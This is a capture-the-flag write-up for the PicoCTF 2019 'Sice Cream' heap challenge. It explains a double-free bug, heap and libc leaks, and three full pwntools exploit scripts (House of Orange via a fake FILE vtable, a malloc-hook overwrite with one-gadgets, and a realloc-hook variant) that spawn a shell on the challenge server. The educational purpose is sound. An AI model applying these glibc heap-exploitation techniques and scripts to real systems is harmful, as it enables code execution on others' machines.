Sice Cream was quite a difficult challenge from PicoCTF 2019. Although most people did this by messing with the pointer to top chunk to return malloc hook, I performed a House of Orange attack (which only worked sometimes for some reason), as this is using libc 2.23. Here is the reversed program (with my comments):
void alloc(void)
{
int iVar1;
ulong uVar2;
void *pvVar3;
long in_FS_OFFSET;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar1 = FUN_004008a7();
if (iVar1 < 0) { //no more than 0x13
puts("Out of space!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("How much sice cream do you want?");
printf("> ");
read(0,local_28,0x10);
uVar2 = strtoul(local_28,(char **)0x0,10);
if (0x58 < (uint)uVar2) { //can only allocate up to 0x60 real size chunks
puts("That\'s too much sice cream!");
/* WARNING: Subroutine does not return */
exit(-1);
}
pvVar3 = malloc(uVar2 & 0xffffffff);
*(void **)(&DAT_00602140 + (long)iVar1 * 8) = pvVar3;
puts("What flavor?");
printf("> ");
read(0,*(void **)(&DAT_00602140 + (long)iVar1 * 8),uVar2 & 0xffffffff);
puts("Here you go!");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void rename(void)
{
puts("What\'s your name again?");
printf("> ");
read(0,&DAT_00602040,0x100);
printf("Ah, right! How could a forget a name like %s!\n",&DAT_00602040);
return;
}
void delete(void)
{
ulong uVar1;
long in_FS_OFFSET;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Which sice cream do you want to eat?");
printf("> ");
read(0,local_28,0x10);
uVar1 = strtoul(local_28,(char **)0x0,10);
if (0x13 < (uint)uVar1) {
puts("Invalid index!");
/* WARNING: Subroutine does not return */
exit(-1);
}
free(*(void **)(&DAT_00602140 + (uVar1 & 0xffffffff) * 8)); //potential for double free
puts("Yum!");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void menu(void)
{
puts("1. Buy sice cream");
puts("2. Eat sice cream");
puts("3. Reintroduce yourself");
puts("4. Exit");
return;
}
void main(void)
{
int iVar1;
ulong uVar2;
long in_FS_OFFSET;
char local_28 [24];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
puts("Welcome to the Sice Cream Store!");
puts("We have the best sice cream in the world!");
puts("Whats your name?");
printf("> ");
read(0,&DAT_00602040,0x100);
while( true ) {
while( true ) {
while( true ) {
menu();
printf("> ");
read(0,local_28,0x10);
uVar2 = strtoul(local_28,(char **)0x0,10);
iVar1 = (int)uVar2;
if (iVar1 != 2) break;
delete();
}
if (2 < iVar1) break;
if (iVar1 != 1) goto LAB_00400cb5;
alloc();
}
if (iVar1 != 3) break;
rename();
}
if (iVar1 == 4) {
puts("Too hard? ;)");
}
LAB_00400cb5:
/* WARNING: Subroutine does not return */
exit(0);
}
void somefunction(char *pcParm1)
{
int iVar1;
FILE *__fp;
__fp = fopen(pcParm1,"r");
if (__fp != (FILE *)0x0) {
while( true ) {
iVar1 = _IO_getc((_IO_FILE *)__fp);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
}
return;
}
As you can see, the main bug is the double free. We can also utilize the rename function for leaks. For heap leaks, we can simply fill it with (0xff) “A”s and then it would print all those As and the pointer to your first chunk (which you should allocate first), thus giving us a heap leak; this only works due to the location of name in bss, which is at 0x602040, and the array of pointers at 0x602140, and the fact that rename reads in size 0x100.
As for the libc leak, we will need to create a double free (Ex. free(1), free(2), free(1)) and re-allocate chunks of the same size to overwrite the next pointer in the double freed chunk to point into the BSS part where your name is stored (you will need to setup the name section to bypass the fastbin size checks as well). Then, you can rename yourself (once a chunk gets allocated there) so that the size falls into unsorted range and set the region of memory below to pass the other libc checks accordingly. Freeing that, and then filling it up with enough "A"s to block out the nulls will allow us to get a main arena address, thereby providing us with a libc leak.
Now, we have all the leaks, but we still have a major issue: arbitrary write and code execution. The size limitations make the classic fastbin attack impossible. There aren't any other bytes I could misalign around hooks. There also is Full RELRO.
However, the name buffer does have size 0x100, making me think of House of Orange. I studied House of Orange for the first time with the help of this
link and this
link. The basic idea involves an unsorted bin attack, a fake file structure, and purposely causing the program to call abort() with what we desire.
When abort() is called, _IO_flush_all_lockp() is then called. Eventually, it will go through _IO_list_all to call _IO_OVERFLOW(fp, EOF). We need to overwrite _IO_list_all with a malicious pointer so that _IO_OVERLOW points to system (4th item in the malicious vtable) and the first 8 bytes are set to '/bin/sh'. _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh') now (thank you how2heap for explaining this to me). The chain items in the fake structures will also have to be null to work in this House of Orange scenario. However, to satisfy this constraint: fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base, you have to make sure to make _IO_write_ptr something like 3 and _IO_write_base something smaller like 2.
Since we don't have enough space to also fit in a vtable in the buffer for name, we can save a chunk in the fastbin to then reallocate and store the system addresses with the help of heap leak. Last thing... what should we overwrite the size of the "unsorted" chunk with? Well, according to how2heap and malloc.c, if we set the size to 0x61 and allocate a smaller chunk, malloc will place it into smallbin 4. With the unsorted bin attack to overwrite with the address, this location will represent the fake file pointer's fd-ptr. Here's the final exploit:
from pwn import *
bin = ELF('./sice_cream')
libc = ELF('./libc.so.6')
#context.log_level = 'debug'
#https://amritabi0s.wordpress.com/2018/05/01/asis-ctf-quals-2018-fifty-dollors-write-up/
#p = process('./sice_cream')
#nc 2019shell1.picoctf.com 35993
p=remote('2019shell1.picoctf.com', 35993)
def wait():
p.recvrepeat(0.5)
def alloc(size, data):
wait()
p.sendline(str(1))
wait()
p.sendline(str(size))
wait()
p.sendline(data)
def delete(index):
wait()
p.sendline(str(2))
wait()
p.sendline(str(index))
def rename(data):
wait()
p.sendline(str(3))
wait()
p.sendline(data)
wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #no null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0) #classic double free
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
alloc(0x50, '') #6
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more to beat checks to prevent a corruption/double free issue
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
IO_list_all = libcBase + libc.symbols['_IO_list_all']
system = libcBase + libc.symbols['system']
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('_IO_list_all: ' + hex(IO_list_all))
log.info('System: ' + hex(system))
fakevtable = heapLeak + 0x60 #find offset by debugging
#rename can help us overwrite... perform House of Orange, satisfy write_base < write_ptr (2 and 3), add pointer to fake vtable, null out everything for it to work
payload = '/bin/sh\x00' +p64(0x61) + p64(leak) + p64(IO_list_all-0x10)+p64(2)+p64(3)+p64(0)*18+p64(0)+p64(0)+p64(0)+p64(fakevtable)
rename(payload)
delete(6) #free it
alloc(0x50, p64(system) * 7) #fake vtable
p.interactive() #ctrl +D to exit interactive mode
alloc(0x10, '') #pop shells
p.interactive()
However, there were some cool alternative methods as well, which I learned afterwards and would like to share.
I heard about a cool way afterwards about overwriting into the main arena to manipulate where top chunk points to, which
this post talks about. This way, using the classic fastbin duplication (since we have already redirected a chunk into BSS and freed it, the main arena will have pointers to BSS in its fastbin array (with the 0x60 as the high bytes), and therefore we can fastbin duplicate into there with misalignment), we can get top chunk to be located near malloc hook for future allocations by overwriting the original top chunk pointer.
Then, we can allocate and overwrite malloc hook. We also do need to fix the unsorted bin size (I made it really small) so future allocations for fastbin size will not come from there. However, none of the one gadget constraints were satisfied when we made the program call malloc. NotDeGhost from redpwn and Faith mentioned the idea from this blog
post, in which we purposely trigger a double free or corruption error by freeing two of the same chunks successively. This way, free will eventually call malloc_printerr, which will eventually call strdup, which uses malloc() and thus calls our hook. In this scenario, the constraints were satisfied and we popped a shell.
wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #so null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0)
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more than just adjacent
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
mallocHook = 0x00000000003c4b10 + libcBase
onegadget = libcBase + 0xf02a4 #test and pray one works
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('Malloc hook: ' + hex(mallocHook))
log.info('One Gadget: ' + hex(onegadget))
#rename again to get rid of the unsorted stuff, it will be ignored in subsequent allocations as long as we allocated above that size
rename(p64(0)+p64(0x21) + p64(leak)*2 + p64(0x21) * 8) #fill it up, doesn't matter, beats check, also in unsorted, so be careful with the libc addresses used so you don't cause an unwanted unsorted bin attack
#overwrite top chunk to start allocating next chunks near malloc hook
#https://amritabi0s.wordpress.com/2018/04/02/0ctf-quals-babyheap-writeup/
'''
0x7f1e26c26b20: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b30: 0x0000000000602040 0x0000000000000000
0x7f1e26c26b40: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b50: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b60: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b70: 0x0000000000000000 0x0000000001fe2060
'''
#malloc state has fastbin array before... we only used it for 0x30 real size fastbins, so we can overwrite where top chunk points to, thanks to 0x60 in bss we created originally
#create a double free in 0x50 fastbin
alloc(0x50, '') #6
alloc(0x50, '') #7
delete(6)
delete(7)
delete(6)
alloc(0x50, p64(leak-88+0xa)) #to misalign to get 0x60 byte first #8
alloc(0x50, '') #9
alloc(0x50, '') #10
alloc(0x50, '\x00' * (0x10 - 0xa)+'\x00' * 0x38 + p64(mallocHook-0x10)) #get a chunk back into fastbin array, null out all before top chunk, then point it to before malloc hook, also can "sort of" look like top chunk
alloc(0x40, p64(onegadget)) #11, unused size before, will allocate from "top" and end up over mallocHook, overwrite with malloc hook
#then https://blog.osiris.cyber.nyu.edu/2017/09/30/csaw-ctf-2017-auir/ -> free actually when double free errors calls malloc_printerr which in turn calls strdup, which uses malloc, which in turn will help us call our hook
#now purposely trigger double free
delete(6)
delete(6)
p.interactive()
Using the same top chunk/fastbin attack method, there is another way to satisfy the constraints. nek0nyaa mentioned this "two gadget" technique, in which I overwrite realloc hook with a magic one gadget and redirect malloc hook to call realloc. In this case, I pointed malloc hook to point to __libc_realloc + a certain offset; if you skip certain instructions, especially for the beginning push instructions, you will change the way in which the stack is created and might actually satisfy the constraints. In this case, one of the one gadgets worked when malloc hook was pointed to __libc_realloc + 16.
wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #so null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0)
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more than just adjacent
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
mallocHook = 0x00000000003c4b10 + libcBase
reallocHook = 0x00000000003c4b08 + libcBase
#onegadget = libcBase + 0xf02a4 #test and pray one works
onegadget = libcBase + 0x4526a #test and pray one works
libcrealloc = libcBase + 0x00000000000846c0
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('Malloc hook: ' + hex(mallocHook))
log.info('Realloc hook: ' + hex(reallocHook))
log.info('__libc_realloc: ' + hex(libcrealloc))
log.info('One Gadget: ' + hex(onegadget))
#rename again to get rid of the unsorted stuff, it will be ignored in subsequent allocations as long as we allocated above that size
rename(p64(0)+p64(0x21) + p64(leak)*2 + p64(0x21) * 8) #fill it up, doesn't matter, beats check, also in unsorted, so be careful with the libc addresses used
#overwrite top chunk to start allocating next chunks near malloc hook
#https://amritabi0s.wordpress.com/2018/04/02/0ctf-quals-babyheap-writeup/
'''
0x7f1e26c26b20: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b30: 0x0000000000602040 0x0000000000000000
0x7f1e26c26b40: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b50: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b60: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b70: 0x0000000000000000 0x0000000001fe2060
'''
#malloc state has fastbin array before... we only used it for 0x30 real size fastbins, so we can overwrite where top chunk points to, thanks to 0x60 in bss we created originally
#create a double free in 0x50 fastbin
alloc(0x50, '') #6
alloc(0x50, '') #7
delete(6)
delete(7)
delete(6)
alloc(0x50, p64(leak-88+0xa)) #to misalign to get 0x60 byte first #8
alloc(0x50, '') #9
alloc(0x50, '') #10
alloc(0x50, '\x00' * (0x10 - 0xa)+'\x00' * 0x38 + p64(reallocHook-0x10)) #fake chunk to realloc hook
#another method if none of one gadgets work... two gadget method... make realloc hook point to one gadget and malloc hook point to __libc_realloc +n so it hopefully satisfies constraints, thank you to nek0nyaa for sharing this
'''
Dump of assembler code for function realloc:
0x00000000000846c0 <+0>: push r15
0x00000000000846c2 <+2>: push r14
0x00000000000846c4 <+4>: push r13
0x00000000000846c6 <+6>: push r12
0x00000000000846c8 <+8>: mov r13,rsi
0x00000000000846cb <+11>: push rbp
0x00000000000846cc <+12>: push rbx
0x00000000000846cd <+13>: mov rbx,rdi
0x00000000000846d0 <+16>: sub rsp,0x38
'''
alloc(0x40, p64(onegadget)+p64(libcrealloc+16))#overwrite realloc hook, then overwrite malloc hook, test random offsets with some educated guessing, skip over some of the pushes to set up stack differently
alloc(0x30, '') #trigger it hopefully
p.interactive()
And that's it for sice cream!